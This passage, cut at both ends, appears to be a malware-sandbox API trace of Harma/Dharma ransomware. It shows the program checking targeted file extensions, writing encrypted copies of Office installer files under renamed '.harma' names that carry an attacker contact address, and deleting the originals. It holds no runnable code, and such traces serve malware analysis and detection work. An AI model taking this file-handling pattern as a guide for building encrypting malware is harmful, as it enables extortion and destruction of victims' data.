lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=1992192) returned 1 [0055.762] CloseHandle (hObject=0x164) returned 1 [0055.762] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0055.762] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0055.762] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0055.763] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0055.763] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0x0) returned 1 [0055.763] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.763] ReadFile (in: hFile=0x164, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.831] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.831] ReadFile (in: hFile=0x164, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.845] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0055.845] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.845] ReadFile (in: hFile=0x164, lpBuffer=0x3b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b10058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.863] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.863] WriteFile (in: hFile=0x164, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2f0fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0056.142] SetEndOfFile (hFile=0x164) returned 1 [0056.142] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f33178 [0056.146] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0056.146] WriteFile (in: hFile=0x164, lpBuffer=0x3f33178*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33178*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.147] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0056.147] WriteFile (in: hFile=0x164, lpBuffer=0x3f33178*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33178*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.149] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0056.150] WriteFile (in: hFile=0x164, lpBuffer=0x3f33178*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33178*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.152] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f33178 | out: hHeap=0x5a0000) returned 1 [0056.152] CloseHandle (hObject=0x164) returned 1 [0056.152] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0056.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0056.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0056.152] lstrlenW (lpString=".doc") returned 4 [0056.152] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0056.152] lstrlenW (lpString=".docx") returned 5 [0056.152] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0056.152] lstrlenW (lpString=".pdf") returned 4 [0056.152] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0056.152] lstrlenW (lpString=".xls") returned 4 [0056.153] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0056.153] lstrlenW (lpString=".xlsx") returned 5 [0056.153] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0056.153] lstrlenW (lpString=".ppt") returned 4 [0056.153] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0056.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0056.153] lstrlenW (lpString=".zip") returned 4 [0056.153] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0056.153] lstrlenW (lpString=".rar") returned 4 [0056.153] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0056.153] lstrlenW (lpString=".bz2") returned 4 [0056.153] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0056.153] lstrlenW (lpString=".7z") returned 3 [0056.153] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0056.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0056.153] lstrlenW (lpString=".dbf") returned 4 [0056.153] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0056.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0056.153] lstrlenW (lpString=".1cd") returned 4 [0056.153] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0056.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0056.153] lstrlenW (lpString=".jpg") returned 4 [0056.153] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0056.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0056.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0056.153] lstrlenW (lpString=".doc") returned 4 [0056.153] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0056.153] lstrlenW (lpString=".docx") returned 5 [0056.153] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0056.154] lstrlenW (lpString=".pdf") returned 4 [0056.154] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0056.154] lstrlenW (lpString=".xls") returned 4 [0056.154] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0056.154] lstrlenW (lpString=".xlsx") returned 5 [0056.154] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0056.154] lstrlenW (lpString=".ppt") returned 4 [0056.154] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0056.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0056.154] lstrlenW (lpString=".zip") returned 4 [0056.154] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0056.154] lstrlenW (lpString=".rar") returned 4 [0056.154] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0056.154] lstrlenW (lpString=".bz2") returned 4 [0056.154] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0056.154] lstrlenW (lpString=".7z") returned 3 [0056.154] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0056.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0056.154] lstrlenW (lpString=".dbf") returned 4 [0056.154] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0056.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0056.154] lstrlenW (lpString=".1cd") returned 4 [0056.154] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0056.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0056.154] lstrlenW (lpString=".jpg") returned 4 [0056.154] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0056.155] lstrcmpiW (lpString1=".xrm-ms", lpString2=".harma") returned 1 [0056.155] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0056.155] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0056.155] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=715834) returned 1 [0056.155] CloseHandle (hObject=0x164) returned 1 [0056.155] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0056.155] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0056.156] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0056.156] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.156] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.156] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0056.156] GetLastError () returned 0x0 [0056.156] ReadFile (in: hFile=0x164, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0056.456] WriteFile (in: hFile=0x208, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0056.476] ReadFile (in: hFile=0x164, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.476] WriteFile (in: hFile=0x208, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x104, lpOverlapped=0x0) returned 1 [0056.476] SetEndOfFile (hFile=0x208) returned 1 [0056.476] CloseHandle (hObject=0x208) returned 1 [0056.477] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.477] SetEndOfFile (hFile=0x164) returned 1 [0057.892] CloseHandle (hObject=0x164) returned 1 [0058.172] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0058.293] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0058.294] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.294] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.294] lstrlenW (lpString=".doc") returned 4 [0058.294] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0058.294] lstrlenW (lpString=".docx") returned 5 [0058.294] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0058.294] lstrlenW (lpString=".pdf") returned 4 [0058.294] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0058.294] lstrlenW (lpString=".xls") returned 4 [0058.294] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0058.294] lstrlenW (lpString=".xlsx") returned 5 [0058.294] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0058.294] lstrlenW (lpString=".ppt") returned 4 [0058.294] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0058.294] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.294] lstrlenW (lpString=".zip") returned 4 [0058.294] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0058.294] lstrlenW (lpString=".rar") returned 4 [0058.294] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0058.294] lstrlenW (lpString=".bz2") returned 4 [0058.294] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0058.295] lstrlenW (lpString=".7z") returned 3 [0058.295] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0058.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.295] lstrlenW (lpString=".dbf") returned 4 [0058.295] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0058.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.295] lstrlenW (lpString=".1cd") returned 4 [0058.295] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0058.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.295] lstrlenW (lpString=".jpg") returned 4 [0058.295] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0058.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.295] lstrlenW (lpString=".doc") returned 4 [0058.295] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0058.295] lstrlenW (lpString=".docx") returned 5 [0058.295] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0058.295] lstrlenW (lpString=".pdf") returned 4 [0058.295] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0058.295] lstrlenW (lpString=".xls") returned 4 [0058.295] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0058.295] lstrlenW (lpString=".xlsx") returned 5 [0058.295] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0058.295] lstrlenW (lpString=".ppt") returned 4 [0058.296] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0058.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.296] lstrlenW (lpString=".zip") returned 4 [0058.296] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0058.296] lstrlenW (lpString=".rar") returned 4 [0058.296] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0058.296] lstrlenW (lpString=".bz2") returned 4 [0058.296] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0058.296] lstrlenW (lpString=".7z") returned 3 [0058.296] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0058.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.296] lstrlenW (lpString=".dbf") returned 4 [0058.296] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0058.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.296] lstrlenW (lpString=".1cd") returned 4 [0058.296] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0058.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0058.296] lstrlenW (lpString=".jpg") returned 4 [0058.296] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0058.296] lstrcmpiW (lpString1=".exe", lpString2=".harma") returned -1 [0058.296] lstrlenW (lpString="setup.exe") returned 9 [0058.296] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0058.297] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=1377656) returned 1 [0058.297] CloseHandle (hObject=0x164) returned 1 [0058.297] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0058.297] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0058.297] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0058.297] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.298] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.298] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0058.298] GetLastError () returned 0x0 [0058.298] ReadFile (in: hFile=0x164, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0058.333] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0059.175] ReadFile (in: hFile=0x164, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0x50588, lpOverlapped=0x0) returned 1 [0059.193] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0059.423] ReadFile (in: hFile=0x164, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.423] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0059.423] SetEndOfFile (hFile=0x1f4) returned 1 [0059.495] CloseHandle (hObject=0x1f4) returned 1 [0059.496] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.496] SetEndOfFile (hFile=0x164) returned 1 [0059.682] CloseHandle (hObject=0x164) returned 1 [0059.682] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0059.683] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0059.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.683] lstrlenW (lpString=".doc") returned 4 [0059.683] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0059.683] lstrlenW (lpString=".docx") returned 5 [0059.683] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0059.683] lstrlenW (lpString=".pdf") returned 4 [0059.683] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0059.683] lstrlenW (lpString=".xls") returned 4 [0059.683] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0059.683] lstrlenW (lpString=".xlsx") returned 5 [0059.683] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0059.683] lstrlenW (lpString=".ppt") returned 4 [0059.683] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0059.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.683] lstrlenW (lpString=".zip") returned 4 [0059.684] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0059.684] lstrlenW (lpString=".rar") returned 4 [0059.684] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0059.684] lstrlenW (lpString=".bz2") returned 4 [0059.684] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0059.684] lstrlenW (lpString=".7z") returned 3 [0059.684] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0059.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.684] lstrlenW (lpString=".dbf") returned 4 [0059.684] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0059.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.684] lstrlenW (lpString=".1cd") returned 4 [0059.684] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0059.684] lstrlenW (lpString="C:\\MSOCache\\All 